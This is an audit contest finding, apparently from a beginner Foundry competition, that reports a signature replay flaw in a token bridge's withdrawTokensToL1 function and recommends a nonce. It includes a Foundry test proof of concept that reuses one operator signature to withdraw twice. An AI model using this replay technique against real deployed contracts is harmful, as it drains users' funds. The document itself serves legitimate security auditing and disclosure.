First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Replay Attack

ryonen

Summary

A potential vulnerability has been identified that allows an attacker to drain all funds by reusing the operator's signature in the withdrawTokensToL1 function.

Vulnerability Details

The vulnerability lies in the withdrawTokensToL1 function, where a message is sent along with a signature for signer verification. However, the absence of a nonce in the message allows a malicious user to reuse the signature, leading to unauthorized fund withdrawals from the vault.

Impact

Successful exploitation of this vulnerability could result in unauthorized fund drainage.

POC

function testReplayAttack() external {
address user2 = makeAddr("USER2");
uint256 depositAmount = 10e18;
deal(address(token), user2, depositAmount);
​
vm.startPrank(user2);
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, userInL2, depositAmount);
​
vm.stopPrank();
​
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
​
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
​
assertEq(
token.balanceOf(address(user)),
userInitialBalance + depositAmount
);
}

Tools Used

Foundry

Recommendations

Implement a nonce mechanism to validate if the signature has already been used. This additional layer of security will prevent replay attacks and ensure the integrity of fund withdrawals.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.